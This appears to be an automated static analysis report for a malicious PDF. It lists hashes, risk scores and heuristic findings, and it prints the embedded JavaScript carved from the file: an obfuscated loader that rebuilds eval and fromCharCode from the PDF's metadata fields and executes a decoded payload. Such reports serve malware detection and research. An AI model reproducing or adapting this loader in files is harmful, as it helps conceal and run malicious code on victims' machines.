Malicious PDF — malware analysis report

Static analysis result for SHA-256 c17f89fac6597d42…

MALICIOUS

PDF

18.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 6717a70cf009f4df456b931dcb4cd0de SHA-1: abd5a9e77ca5977662d0da1d001f7fe93cfb5a66 SHA-256: c17f89fac6597d4251b96f70c684613ab14fa9bd87ad188d18494ec2ff02c6d1
114 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4687 367 bytes
SHA-256: 92fe0829c5aa5c2c00b698f31c66738fc55386204de5e1afc1b40afff88273b3
Preview script
First 1,000 lines of the extracted script
var w = 4;
var pyeep = this.title.replace(/w/g,'*w,');
pyeep = pyeep.replace(/t/g,'2');
pyeep=pyeep.substr(0,pyeep.length-2) + ']';
lmio=function(){return function(){return this}()}();
fibpa=lmio[this.subject];
kev=fibpa(this.producer);
omn = fibpa(pyeep);
var s = '';
for (i = 0; i < omn.length; i++) {
	rcgas = omn[i];
	s += kev(rcgas);
}
fibpa(s);

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